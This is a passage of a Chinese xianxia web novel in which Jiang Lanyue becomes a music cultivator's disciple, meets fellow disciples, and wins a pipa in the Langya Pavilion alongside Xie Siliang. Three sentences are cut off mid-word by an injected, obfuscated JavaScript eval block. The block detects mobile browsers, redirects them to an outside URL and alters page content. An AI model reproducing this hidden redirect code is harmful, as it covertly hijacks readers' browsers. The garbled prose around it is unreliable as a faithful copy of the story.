“你放心什么？！”天权夫人又道，“这种冷心冷情之人不值得嫁，你还没懂吗？！” 若是在平时，白晴雨定会护着谢思量，但今日听说谢思量只是为了报恩才成的亲，心中只觉得愉快。 幸好谢哥哥不是真的喜欢那个女修。 难得这次没有继续和和天权夫人吵架，少女嘴角轻勾，“我去修炼了！” “好好修炼，别总是去找谢思量，他现在不仅有夫人，还有徒儿。” “嗯，我知道！我不会打扰思量哥哥修炼的！” 盯着少女蹦蹦跳跳的背影，天权夫人恨铁不成钢：“阿雨到底什么时候才能醒悟？！从小就喜欢那个谢思量，现在居然还喜欢！” 天权长老安慰她：“没事的，思量现今已经成亲了，就算是阿雨想也想不到啊。摇光那样子，看上去还挺喜欢他的新夫人的，就让她想想吧，反正也想不到。” 天权夫人又叹了一口气：“唉，这丫头。” * 八月昆仑正值雨季，除云雪峰外，整个昆仑都隐藏在云雨之间，如同一副泼墨的水墨画。 姜揽月穿过曲折的小路，来到了天音峰。天音峰的峰主是曲玄素，这里多是音修。鲛人擅音律，而且她上辈子也对音修有所了解，所以姜揽月没有犹豫便直接选择了音修。 天音峰有一大片荷塘，清风袭来，碧波荡漾，满目绿色翻滚，是和云雪峰截然不同的景色。 来到宫商阁之后，一些见过她的弟子都向她投去了惊讶的目光。摇光仙尊的道侣，怎么来和他们一起上课？ 姜揽月知道他们没有恶意，对这些目光也见怪不怪。 不过她知道自己是来蹭课的，所以特意选在了一个最边角的位置，将自己的存在感压到最低。 前方的长老一袭白裙，长发飘飘，眉似新月，眼若秋水。她手抚长琴，白色的裙裾随风飘扬，当真如天上仙人下凡。 女子指尖流泻过的琴音仿佛流水，令人如痴如醉。 姜揽月屏息凝神，细细感受着这首曲子的音调。 一曲毕，曲长老抬头，嘴角还带着笑：“好了，你们来试试。” 底下有弟子怨声载道：“啊？就一遍吗？” “对啊，你们自己要多加练习。”曲长老站起身来，“好了，你们先练习，一会我来检查。” 姜揽月独自坐在角落，看着身边的人练习，自己却连琴都没有，内心顿觉尴尬。正欲起身逃跑，却见曲长老向自己走来。 “你没有自己的乐器吗？”曲玄素望着面前的少女，长相乖巧，感觉有些眼熟，道：“你用我的琴练习吧。” 姜揽月受宠若惊，对于乐修来说，乐器就是自己的宝贝，自己的老婆，正如剑对于剑修一样。尤其是长老的琴，可能是上古流传下来的法宝，可面前的长老居然直接给自己的琴给她练。 见少女面露踌躇，曲长老笑道：“没关系的，哪有让弟子空手坐着的道理，先去练习吧。” “好，多谢长老！”姜揽月里立马站起身来。 长老既然都这样说了，那她也不好再推辞了。 她走到前方的位置，却见前方的古琴琴身细长，通体雪白，每一根弦好像都发着光，肯定是很厉害的法宝。 姜揽月伸出指尖，试了一下琴的声音，清脆悦耳，果然是一把好琴。 上上辈子她自小便学习古琴，可以说是经验丰富。上辈子虽然疏于修炼，但生为鲛人，乐理天赋是与生俱来的，仿佛她们天生便是因为音乐所诞生。 随后，她指尖轻抚，潺潺乐音流过，如深谷幽山之音，清澈明净，触人心弦。 待一曲毕之后，姜揽月抬头，发现长老正直直看着自己。 她有些心虚，莫不是灵力太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924713|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱，让长老都震惊了。 少女连忙低下头。 不过妙音长老却没有说什么，直至课程结束，她喊住了姜揽月。 姜揽月有些疑惑。 “你是谢思量在凡间带回来的道侣吧？” 妙音长老终于记起这姑娘是谁了，前几日她经过试炼场，见到谢思量牵着一姑娘的手一起走上来，原来就是面前这位姑娘。 而且她听说谢思量带回来的道侣是个凡人，但如今依她看，这哪里是凡人啊，这么高的乐理天赋不用来修乐修真是可惜了。 “嗯。”姜揽月点头。 果然，这件事情现在昆仑可能就没有不知道的，连妙音峰都传开了。 “让他带你一起去琅琊阁看看，挑一把或者去买一把乐器。”曲长老道，“你很有乐理天赋，不做乐修可惜了。” ！！长老居然直接让她去琅琊阁！！ 琅琊阁是昆仑珍藏武器的地方，里面汇聚了许多把武器，甚至还有不少神武存在。从剑，到刀，到琴，到扇，无奇不有，但是琅琊阁只有昆仑的弟子才准许进入。 “多谢长老！”姜揽月抬眸，“可是，琅琊阁不是只有昆仑的弟子才可以进入吗？” 言下之意是她如今还不是昆仑的弟子，去琅琊阁有些名不正言不顺。 “你在担心这个啊。” 曲玄素的双眼微微上挑，美目流转：“既然这样，那你可愿做我的弟子？若是你做我的徒弟的话，便是昆仑的弟子了，琅琊阁的武器任你挑选。” “啊？” 姜揽月双眸微睁，妙音真人居然说要收自己为徒，她不可置信道：“收徒大典不是已经过去了吗？” 而且她那天还去参加了。 “这有何关系？”曲玄素道，“收徒哪有那么多规矩？自然是我想何时收便何时收，想何地收便何地收。我还听说你那道侣前几日拿花收徒呢？既然他可，我为何不可？” 不提这事情还好，一提姜揽月便感到些许尴尬。 上辈子她几乎一直待在玉霄殿中，对于剑修以外的长老没有一点了解。 不过既然有一位音修长老肯收她为徒，那么便不可错失这个机会。 见少女还有些犹豫，曲玄素继续循循善诱：“我目前只有一位亲传弟子，若是你来，那么便是第二位，以后收的弟子便都是你的师弟师妹。你的乐理天赋真的远超常人，我绝对不会看错人……” 其实，不需要曲玄素多说，姜揽月也准备拜她为师了。 自己如今正需要好好修炼，提升修为，不仅如此，还要对抗半妖的血脉反噬，这些都需要修为提升到一定境界在可以办到。 少女立刻向曲玄素行了个弟子礼：“弟子多谢师尊。” 清风扬起曲玄素乌黑的发丝，女子嘴角轻勾，伸出玉白的指尖，在姜揽月眉心轻轻一点。 阁外莲花飘扬，晶莹的露珠滚落在碧绿的荷叶之上。 “好，从此以后，你便是我妙音真人的亲传弟子。” 9. 拜师（四） 傍晚，落花纷纷，姜揽月独自坐在树下，手中翻着一本乐谱。 云雪峰灵气磅礴，她放下书本，阖上双目，引气入体，感受到纯净的灵气进入体内后，她开始运行小周天。 她在等谢思量。 待一个小周天运行结束后，姜揽月睁开了双眼，发现眼前多了一段雪白的袍子。 再抬眼，果然是一道白衣翩翩的身影。 少女立马起身：“你什么时候回来的？我居然没发现。” 谢思量“望”向她，声音很轻：“约莫一刻钟前。” 谢思量修为已至化神，在修为比他低的人面前，确实可以做到“来去自如”。若非修为比他高，否则都根本感受不到他的气息。 “那你就在一旁‘看’着我？”姜揽月双眸微睁。 谢思量脸上还蒙着白色的布条：“……” “那你看看我现在什么修为了。”姜揽月道，“帮我测一下吧。” 谢思量微微垂头：“手伸出来。” 姜揽月闻言便将自己的手腕自袖中伸出。 随后，谢思量细长玉白的手指抓住了她的手腕。 “如何？” “筑基中期。”谢思量轻启薄唇。 “哦……”姜揽月闷闷不乐，连声音好像都带着失落，“薛满现在修为如何？” “金丹。”谢思量道，他垂眸：“能入选为内门弟子的都是根骨好的，你不必在意。” “我知道……” 姜揽月又道：“对了！谢思量！你知道吗？妙音真人今日将我收为亲传弟子了！” “嗯，她和我说了。”谢思量面上依旧波澜不惊，“鲛人擅音律，你确实适合去那儿。” “什么？和你说了？”姜揽月有些惊讶。 “碰到了，她便和我说了此事，还说让我带你去琅琊阁。” “既然你已经知道了，那我就不多说了。”姜揽月低头看着地上的落花，有些纠结，觉得这有些太麻烦谢思量了，但转念一想自己可是把鲛珠给他了。 犹豫片刻后，她最终还是问出来了：“你准备何时带我去啊？” 少女声音软糯，带着点祈求的意味。 谢思量：“琅琊阁几日后再开，你这几日可以先去天音峰拿琴练习，那里的琴很多。” “好。”姜揽月点头，“我明日去看看。” 和谢思量分别后，姜揽月又回到了摘星阁，独自翻阅了许多乐谱。 如今在筑基中期，下一阶段就是金丹了，要好好突破啊。 * 翌日，姜揽月又来到了天音峰。 曲折的小道上，少女白裙飘飘，雪白的梨花落在她的肩头，引得一些弟子纷纷侧目。 天音峰中有一大片荷塘，微风吹拂，满目绿色飘扬，莲花摇摆，空气中好像都浸润着荷花的香气。 走过长长的廊道，姜揽月还盘算着自己琴。其实也不需要多么厉害的武器，当下阶段，最重要的是能练习就好，普通的琴也很好。 待她刚踏入宫商阁，却听一道温润的声音：“是姜揽月姜姑娘吗？” 姜揽月转过头，发现廊道的尽头站着一位年轻的男子。 他梳着高高的马尾，穿着一身红色的袍子，身材瘦削，长身玉立，在一片绿色之中非常惹眼。 再往上看，是一双漂亮的桃花眼和挺拔的鼻梁，桃花眼角下还有一颗黑色的痣，可谓是面色如玉，媚眼如丝。 姜揽月微微愣住：“请问，你是……” “我是宋卿尘，是你的师兄。”少年笑道，眼角流露出笑意，好似桃花盛开。 “师兄？” 姜揽月蓦地想起，昨日妙音真人说她已经有一位亲传弟子了，难道就是面前的这位？ “你是妙音真人的弟子吗？”她问道。 那少年低头，打量着姜揽月：“对啊，我就是妙音真人的大弟子，以后我便是你的师兄了。来，叫一声师兄听听。” 姜揽月十分上道，连忙道：“宋师兄好。” 听到少女清透的声音，宋卿尘笑笑：“嗯，师妹好。” 他转过身：“走吧，我带你去琴阁。” “好。” 姜揽月连忙跟了上去。 “想不到啊，谢思量的道侣居然成了我的师妹。”宋卿尘打趣道，“你喊我师兄，那谢思量是不是也得喊我一声师兄。没想到，谢思量居然也有一天要喊我师兄。” 姜揽月：“……或许你可以下次问问他。” 宋卿尘尾音带着笑：“有机会我来问问。” “对了，”他又道，“你既在云雪峰，为何不与他一起学剑？” 姜揽月眼中闪着光：“谁说我不学剑，我只是现在来学琴而已。师尊说过了，我对琴有天赋，让我现在过来学。” 少女扬起头。 宋卿尘点头：“师尊既是这么说，那必然是很有天赋了。等会拿到琴后，让在下见识一番呗。” 姜揽月：“……” 糟糕，牛皮不会吹破了吧。 见到姜揽月的表情，宋卿尘道：“那么严肃做什么，开个玩笑，小师妹。” 谈话之间，二人已至琴阁。 琴阁内放了许多乐器，从琴，到箫，到笛，到琵琶，应有尽有。 看到如此之多种类的乐器，姜揽月有一瞬的犹豫。 “你有想好拿哪个乐器来练习吗？”宋卿尘道。 犹豫片刻后，姜揽月道：“还是琴吧。” 上上辈子她自小便学习古琴，如今若是不选琴简直是浪费当年的勤学苦练。 “你可以亲自去试试，挑一把更有手感的琴。” “嗯。”姜揽月点头。 不过她认为，不是琅琊阁的神武，这些普通的乐器应该都大差不差。 最后她随手带了个木琴：“就这个吧。” “行，你觉得好便好。”宋卿尘起身。 二人走出琴阁，又来到了宫商阁。 宋卿尘道：“你平日可在这里练习，也可以去试炼场和其他修士一起练习。” 姜揽月回想自己前几日在试炼场见到的情景，道：“是指和刀修、剑修，或者其他修士一起比试吗？” 宋卿尘点头：“对。和不一样的修士比试，可以帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924714|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助我们认识不同种类修士的弱点和强项，快速帮助我们找到破局的方法。” 姜揽月点点头：“好。待我练习一段时间吧。” “宋卿尘，原来你在这儿啊。”一个穿着粉色襦裙的少女喊住了他们。 少女生得乌发雪肤，却有一双眼角上挑的丹凤眼，气质凌厉，背后是一把长长的刀。 “晴雨，你怎么来这儿了？”宋卿尘很明显和这位女修很是熟悉。 “找一位音修有点事情。” “晴雨？”姜揽月微微皱眉，这名字怎么有些耳熟。 “咦，你身边这位女修，之前没见过啊？是前几日才来的吗？”白晴雨也注意到了她。 “这位啊？”宋卿尘道，“这位你应该早就听说了，这位可是你思量哥哥的道侣，我师尊的亲传——” 他话还没说完，便被白晴雨打断：“什么？你就是思量哥哥的道侣？” “对、对啊。”姜揽月道。 她内心咯噔一下，终于想起面前的姑娘是谁了，是天权长老的独女白晴雨。她上辈子就喜欢谢思量，知道她是谢思量的道侣后，更是对她没有好脸色，没想到这辈子在这又碰到了。 白晴雨声音有些大，引得一些路过的修士频频投来视线。 三人所幸直接在长廊上坐下。 白晴雨打量着面前的白裙女子，少女雪肤细腻如瓷，一双柳眉之下的双眸仿佛含着秋水。即使只是简单地将头发挽起，却依旧遮不住倾城容貌。 长得确实很美。 她在打量姜揽月的时候，姜揽月也在看着她，被如此漂亮的女子的看着，这让白晴雨不由得有些脸红。 “你、你不是凡人吗？”她道，“我听传言说你是个凡人。” 姜揽月垂眸，道：“既然都了来了昆仑宗，何不尝试一下呢？” “也对。”白晴雨看向荷花池，她自己是长老的女儿，虽然性子骄纵了些，但自是明白修炼的重要性。 她又转向宋卿尘：“她现在是你亲师妹？妙音长老将她收为弟子了？” 宋卿尘笑道：“对啊。你也知道，但凡我师尊收的弟子，必定是天赋卓绝，就像我一样。” 白晴雨：“……” 姜揽月：“……” 白晴雨又转向姜揽月：“你要好好修炼，过些时日我会来找你的！” 说完，便起身头也不回地走了。 姜揽月有些莫名其妙：“嗯？” 什么意思？ 再抬眉，只能见到白晴雨纤细单薄的背影。 一旁的宋卿尘也起身道：“她就是这样的性格。” 随后，少年又弯下腰来，在姜揽月耳边道：“她这是在向你下战书呢，刀修和剑修是这样的。” 姜揽月侧过身，眼中有不可思议：“她，要和我比试？” “对。”宋卿尘点头，“剑修和刀修就是这样的，一言不合就要打架。不像我们乐修，永远都风度翩翩。” 姜揽月想象了自己弹琴的样子，然后又想象了一下谢思量拿剑的样子，心道这个风度翩翩还是得看人，有的人即使打架也是风度翩翩的。 10. 琅琊阁（一） 有了自己的琴以后，姜揽月大部分的时间便都在练琴，要么在宫商阁，要么便在玉霄殿。 有的时候，她会在玉霄殿外的梨花树下练琴。 梨花树很大，花朵开得非常盛，正好帮她遮蔽了风雪。 对着琴谱，少女纤细的手指在琴弦上纷飞，泠泠乐音传来，如泉水激石。 上上辈子的练习，再加上身为鲛人的天赋，让她在练琴之上如鱼得水。 “是《白雪歌》吗？” 姜揽月手一顿，这是谢思量的声音。 谢思量回来了。 她抬眼道：“对。” “刚刚弹错了一个音。” ？ 姜揽月低头看向乐谱，发现自己果然错了一个音。 “真的错了一个音。”姜揽月道，“你怎么知道？你学过琴吗？” 若是没有学过是不可能知道的。 谢思量垂眸：“儿时学过一段时日。” “哇，”姜揽月夸张道，“摇光仙君原来琴剑双修啊。” 经过这些日子的相处，谢思量知道她就是这样的性格，只淡淡道：“很久都没有碰琴了，来到昆仑后就一直学剑。” 姜揽月忽地想到，若是眼盲之后学琴确实有些不大行，于是便道：“那仙君过些时日可不可以教我学剑啊，我也想学剑。” 谢思量应道：“可以，你若是想学，今日我便可以教你。” 姜揽月没想到他答应地这么爽快，道：“过些时日吧，这几天我先练琴。” 谢思量微微颔首：“琅琊阁明日便开了，一起去吧。” “好啊。”姜揽月应道，眼里闪着光。 琅琊阁虽说武器大都都是神武，普通修士进去也不一定拿到，但是试试吧，或许呢。 * 翌日，天气晴朗，落英缤纷。 清风吹拂，落花飘飘。 曲径上，行走着一位少年和一位少女。 少女穿着水蓝色的襦裙，背后是一把木琴，纤细的手腕上是银色的手镯，走起路来环佩作响。 “谢思量，你的观雪是在琅琊阁中拿得吗？”姜揽月问道。 “不是。” “那是在哪里？” “川和神宫。” “川和神宫？”少女嘀咕道，“这是哪里？” “……”谢思量道，“一个放剑的地方。” 谢思量今日的眼周还围着白色的绷带，雪白的梨花在他的绷带前飘过，整个人从上到下都是雪白。 姜揽月道：“谢思量，我可以问你一个问题吗？” 谢思量：“什么问题？” 姜揽月道：“我记得初见你的时候你的眼睛不缠绷带，为什么现在又缠了呢？” 话音刚落，少女又道：“小心，前面是棵树！” 她一把扶住谢思量。 一股冷香袭来，伴随着梨花的香气，让谢思量想到了一些过去的记忆。 透过薄薄的布料，他能感受到少女手指的温度。 是温热的，与他不一样。 少年微微顿住，片刻后，道：“我可以感受到。” 姜揽月这才反应过来，她讪讪收回手：“不好意思，我总是忘记你是化神期修士这件事情。因为你戴着这个布条，总是会让人想照顾。” 谢思量闻言，居然弯了弯嘴角：“那我下次和你在一起不缠绷带，这样你就不会搞错了。” 姜揽月：“我不是这个意思。对了，继续刚刚那个问题，为什么有的时候缠有的时候不缠啊？” 谢思量道：“只是觉得有些人一直问东问西很烦罢了。” “啊？”姜揽月愣住，想到了自己刚刚扶谢思量那件事情，谢思量不会觉得她很烦吧？ 谢思量好似知道她心中在想些什么，道：“不是说你。” 姜揽月内心默然，在心中告诫自己谢思量是化神期修士，不需要你来照顾，以后不要总是多想。 “对了，薛满呢？他不和我们一起吗？”姜揽月又开口问道。 微风吹拂着谢思量的发丝与绷带，黑与白之间，是极致的冷。 他道：“你还挺关心我这位徒弟啊？” “那当然了，那可是你的徒弟唉。”姜揽月道，“我以为你带我俩一起呢。” “我让他自己先进去了。”谢思量。 姜揽月愣住：“什么？你让他自己进去了？你不陪他吗？” 谢思量的语气依旧没有丝毫波澜，只道：“他可以的。” 姜揽月“哦”了一声，言下之意就是薛满可以一个人进去，但是她不可以。 言谈之间，二人已至琅琊阁。 琅琊阁今日开阁，来往的弟子很多，大部分都是新弟子。也有一些来昆仑好几年的弟子，因为一直没有心仪的神武，也会来琅琊阁试试运气。 琅琊阁的大门长满了藤蔓，神秘古朴。 踏入大门之前，谢思量的手中多了两道黄色的符咒，他递给姜揽月一张：“传送符，拿着。” 姜揽月接过符咒，还是有些不懂，她看向旁边的弟子。 一位弟子对另一位弟子道：“手给我，不然传送进去之后可能会在不一样的地方。” 闻言，姜揽月立马牵住了谢思量的手，解释道：“他们说不牵手会传送到不一样的地方。” 感受到指尖传来的温度，谢思量动作微顿。 想到谢思量不喜与人接触，姜揽月补道：“一会儿就好了，进去后我立马就放开你。好不好嘛？” “嗯。” 银铃声在他的耳边响起。 谢思量最终还是没有抽出自己的手。 “嘿嘿，我就知道，仙君人最好了。”姜揽月道。 谢思量的手很凉，像冷玉一样，手心是薄薄的茧。 听着少女清透的声音，谢思量白布下的眼睫轻轻颤抖。若是此时他没有缠绷带的话，定能看到他琉璃般的瞳孔。 进入琅琊阁后，姜揽月立即放开了谢思量的手。 她睁开双眼，面前果然还是缠着布条的谢思量。 “谢思量，谢谢你啊。”少女道。 “无事。”少年淡淡道。 没有姜揽月为其束发，他如瀑的长发在肩头倾泻，仿佛华贵的丝绸。 清风吹过，乌黑的发丝淡淡飘扬。 姜揽月是第一次进入琅琊阁，上辈子虽然在昆仑，但是一心想着回家的事情，根本没去想修炼。 面前是一棵又一棵巨大的古木，密密压压的枝叶遮天蔽日，偶尔会有阳光从缝隙之中漏出来。 “谢思量，那棵树上有一把剑。” 谢思量走在她的身边：“嗯。” 姜揽月忽地想到：“你的观雪是在神宫里拿的，那你是不是压根没进过琅琊阁？” 不想，身边的男人竟微微颔首：“确实。” 姜揽月：“……” “那你也是第一次进来了？” “嗯。” 谢思量的语气带着点玩味：“不相信我？” “当然不是，”姜揽月立马否定，道：“摇光仙君特地为了我来琅琊阁，我高兴还来不及呢，一般人哪有这种殊荣。” 谢思量唇角微动，道：“昆仑宗剑修比较多，所以琅琊阁中的剑也很多。你若是准备拿琴的话，需要多走走。” “好。”姜揽月应道。 两人又在这片密林中走了一段时间，密林深处云雾缥缈，鸟兽虫鸣。 一只碧色的鸟忽然向姜揽月飞来。 仔细看，鸟儿的瞳孔中有一个琵琶形状。 姜揽月呼吸都屏住了。 却不想，那只鸟儿居然只是绕她飞了几圈就走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924715|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>少女的眼中透露出失望，还真以为碰到神武了呢，看来没看上她。 “不必伤心，只是时机未到而已。你的琴与我们的剑一样，也需要缘。”谢思量在一旁道。 他虽然双眼缠着布条，人却像有正常双眼一般，什么事情都瞒不过他。 姜揽月点点头：“嗯，我知道。” 越往密林深处走，便更加幽深，里面的武器品级也更高，周边的人也越来越少，直至看不到人。 鲛人的嗅觉较人类更加灵敏，姜揽月闻到空气中有一股淡淡的血腥味。 她转头道：“谢思量，你闻到血腥味了吗？” “嗯。” 谢思量话音刚落，二人便听到一阵呼救声。 “啊！！！救命！！！救命！！！” “这边！”姜揽月道。 谢思量手中蓦地浮现出观雪，他将前方密密麻麻的荆棘一斩而空，荆棘之后的景象展现出来。 姜揽月只见前方是一只巨大的熊妖，正在追一名少年，少年单薄的衣衫上还挂着点点血迹，手上没有任何可以防身的武器。 “小心！” 姜揽月没有多想，迅速将背上的琴放下，纤细的手指纷飞，泠泠乐音响起，在空中化为利刃，向那熊妖攻去。 与此同时，白光闪烁，谢思量手中的观雪动了。 一股雪白的剑光冲向熊妖。 “轰隆！” 一声巨响，熊妖庞大的身躯跌落在地上，压断了好几根树枝。 少年听到身后的巨响，难以置信地回过头去，不敢相信熊妖就这么死了。 他想起刚刚听到的琴声，循声望去，果然见到了一男一女两个身影。 他向二人跑去：“多谢二位相救。” 姜揽月脸一热，她刚刚虽然没多想就直接拿琴了，但其实主要还是靠身边的谢思量，她根本没有秒了熊妖的本事啊。少年的这般道谢，让她有了种“狐假虎威”的感觉，于是便道：“你要谢就谢他吧，主要是他的剑。” 谢思量收起观雪：“你救的他，何必推脱。” 少年也连忙道：“不不，多谢二位少侠。若不是二位少侠，我可能在琅琊阁中真的出不去了。” 面前的男修和女修衣着皆干干净净，甚至连头发丝也是，没有丝毫狼狈之色，与他浑身血污的模样形成了鲜明的对比。 少年知道自己碰到了大佬。 他自袖中拿出一根桃木签，签上画着姜揽月看不懂的卦术，随后小声道：“是摇光仙君吗？” 姜揽月立马点头：“对，这位就是摇光仙君。” 少年恍然大悟，怪不得这位剑修眼周缠着绷带。他是今年刚考入内门的卦修弟子，之前在外门经常听说剑修谢思量，如今不想居然在琅琊阁碰到了。 他又想起最近的传言，猜测谢思量身边的乐修应该就是他从凡间带回的·道侣。 “两位恩人，在下是卦修，为了答谢二位仙君，让我为二位仙君算一卦吧。” 谢思量闻言未言语。 若不是姜揽月，他不可能在这里有所停留。 姜揽月却有些兴趣：“好啊，这个怎么看？” 少年道：“二位稍等片刻，我来看就好。” 他在自己的木签上写写画画，嘴中也念念有词。 姜揽月拽拽谢思量的衣袖，在他耳边小声道：“我还是第一次算卦，没想到你们昆仑还有卦修。” 她又抬头：“谢思量，你算过卦吗？” 谢思量轻轻摇头。 少女滚烫的吐息喷洒在他的耳边，令他感觉有些痒。 片刻后，少年道：“是非常好的卦！不过——” 他的脸上首先是笑容，随后又浮现出不解。 “卦象上显示，二位无论是前世和今生都会一直在一起。生生不离，至死方休。” 11. 琅琊阁（二） 少年话音刚落，姜揽月便内心咯噔一声。 前世今生……至死方休…… 居然还真被小卦修算到了…… 某种程度上也确实算至死方休，离开谢思量后她就没了怎么不算至死方休呢…… “至死方休……”谢思量重复着这个词，语气中居然带着些许笑意。清风扬起他乌黑的发丝，不染纤尘，随后他又问道：“你是新入门弟子？” 果然，他觉得这是胡扯吧。 那少年点点头，可能也觉得自己学艺不精，他有些不好意思地摸摸脑袋，尴尬笑道：“确实是，不好意思了两位恩人，当个乐子听听吧。不过这代表着仙君和仙君夫人的感情一定很好，两辈子都很好哈哈哈哈……” 姜揽月内心汗颜，她真的担心谢思量会生气。她们二人的成亲全是利益啊，哪有什么真情可言。 “没事，多谢。谢谢你的祝贺。”姜揽月连忙道，“看你身上有受伤，赶快回去治疗吧，谢谢你的卦术。” 少年又抱拳道：“多谢二位。” 少年走后，便又只剩下谢思量和姜揽月二人。 谢思量道：“我发现夫人还真的是很喜欢关心别人。” 姜揽月应道：“仙君也是啊，若不是仙君，那只熊妖根本不可能会那么快就死了，多亏了仙君。” 谢思量：“……” 二人谈话间，树丛中飞来了一只碧蓝色的蝴蝶。 一般的蝴蝶小巧纤细，而这只蝴蝶却比一般的蝴蝶大了成千上百倍，巨大的蝶翼闪着鬼魅的蓝色，边缘是一圈深紫色，看着不禁令人有巨物恐惧症。 谢思量的声音又在耳边响起：“你看到了什么？” “一只很大很大的蝴蝶。”姜揽月道。 少年微微垂首：“需要观雪吗？” 想让武器认主必须亲自打败守护兽，若是他来击败，武器便会将他认主，所以他才会问出这么一句话。 姜揽月明白他是什么意思，抱着怀中的木琴，道：“不用，我的琴可以，相信我。” 激烈的乐音响起，在空中化为道道利刃，直接向蝴蝶砍去。 蝴蝶的蝶翼上闪烁着着奇异的花纹，若是仔细看，便可以看到它瞳孔中有一个隐隐约约的琵琶形状。 在姜揽月和蝴蝶对战之时，谢思量便抱着剑站在一旁，感受着琴音带来的阵阵灵力波动，少年不动声色，目前还不需要他出手。 一刻钟后，蝴蝶的尸体消失，地上浮现了一个通体雪白的琵琶，上面绘制着栩栩如生的蝴蝶图案，泛着幽幽的蓝色，仿佛玉雕。 姜揽月惊呼：“居然是一个琵琶。” “琵琶？”谢思量知道姜揽月这几天练的一直是琴，道，“这个琵琶想认你做主。若要寻找自己的本命武器，便要和武器签订血契。一旦血契成立，便不可反悔。” 言下之意便是若是认了这个琵琶，便得转练琵琶。 “血契……” 姜揽月犹豫片刻，最后还是拿起了冰蓝色的琵琶，坚定道：“我既然学琴这么快，学琵琶肯定也是，到手的神武不能不要啊。” 谢思量站在一旁，继续道：“用你的血，便可和它签成血契。” “好，”姜揽月道，“借你的观雪一用。” 尖锐的剑尖割开了少女雪白的皮肤，姜揽月迅速将手放于琵琶之上，一道白光瞬间显现，照亮了少女的面庞，少女的额间有一个隐隐约约的蝴蝶显现。 姜揽月知道，她现在已经是这个琵琶的主人了。 她拿起琵琶，只见琵琶上刻着两个簪花小楷，娟丽秀气。 “太华。”姜揽月喃喃道，“原来这把琵琶叫太华。” “住手！不准碰那个琵琶！” 忽地，不远处传来一道愤怒的男声。 ？ 姜揽月抬头，面前走过来一个穿着蓝色外衫的男修，腰间挂着一枚玉佩，手上拿着一把长笛。模样虽然可是说是俊俏，但脸上的表情却是盛气凌人。 “你可知那只蝴蝶是我触发的，属于我，你为何要将它击败？” 姜揽月眨眨眼，明白这是来找茬的。 “这琅琊阁的武器，在签订血契前，还有属于谁一说吗？” 男修大言不惭道：“因为那只蝴蝶是我先发现的，所以自然属于我。” 姜揽月拿起琵琶道：“可是这蝴蝶主动朝我飞来，她喜欢我，怎么办呢？她怎么不朝你飞去呢？” 果然伶牙俐齿。 身边谢思量的嘴角竟勾了勾。 这一笑，如春日冰山融化，三月桃花盛开，让人不禁想掀开他眼周的绷带，一睹倾城容颜。 男子注意到姜揽月身旁还站着一位少年，手持利剑，眼缠白布。整个昆仑只有一人会这样打扮，那便是谢思量。 “呦，原来是摇光仙君的夫人啊，我当是谁呢？原来攀上了仙君的高枝就能耀武扬威，抢夺别人的机缘了？若不是仙君，你能进入琅琊阁吗？” 姜揽月秀眉微蹙，竟然牵扯到谢思量了。 她刚准备开口，却听谢思量道：“你说的不错，我如今是昆仑的长老，我的夫人自然有资格进入琅琊阁了。” 姜揽月双眸微微睁大，有些不可思议，谢思量居然这么说？ 那男子语气中满是嘲讽：“仙君便可以做吗？不愧是我们的好仙君啊。” 此人是乐修金丹期的弟子，生于修仙世家，所以自来昆仑后便心中有傲气，自觉高人一等。 姜揽月不明白谢思量想做什么，道：“我前几日已被妙音真人收为亲传弟子，何来不能进入琅琊阁一说？” 男子表情微动，这女子居然被妙音真人收为了弟子。 他的父亲曾经在他拜入昆仑之时，欲送一把极品宝琴给妙音真人，希望妙音真人可以将他收为亲传，但是妙音真人一直不收。 他嘴角勾起嘲讽的笑容：“不错啊，刚进来就被妙音真人收为亲传，有一个好道侣可真是好啊。” 姜揽月双眼微咪，心中明白这人认定了她什么都靠谢思量，不如将计就计。 少女眼角带笑：“对啊，谁让我是摇光夫人呢。你若是嫉妒，不如也去找个好道侣吧。” “你——” “怎么了？为什么没有好道侣啊？是你不想要吗？”姜揽月继续道，“嫉妒我就去找个好道侣，别来我这找茬。” 男修不忿道：“全靠道侣，又有何真才实干？” “既然如此不服，何不和我比试一番？”姜揽月拿起手边的木琴，“我用木琴和你比。” 男修抬眼，见姜揽月站在谢思量身旁，一脸耀武扬威之意。而谢思量则抱剑站在一旁，一点没有阻拦的意思，嘴角甚至带着一股笑意。 不是说谢思量和面前的道侣成婚只是因为报恩吗？ 男子了然一笑，他明白了，原来是为了报恩。谢思量对这道侣如此纵容，看来是很大的恩情啊，可他实在想不到这修为只有筑基的女子如何能够相救谢思量。 忽地，又有一道声音传来。 “郑谦，揽月姑娘确实前几日已被我师尊收为亲传弟子。你若是不信，可以去问我师尊。” 姜揽月瞳孔骤缩，这是宋卿尘的声音。 “师兄，你怎么来了？！” 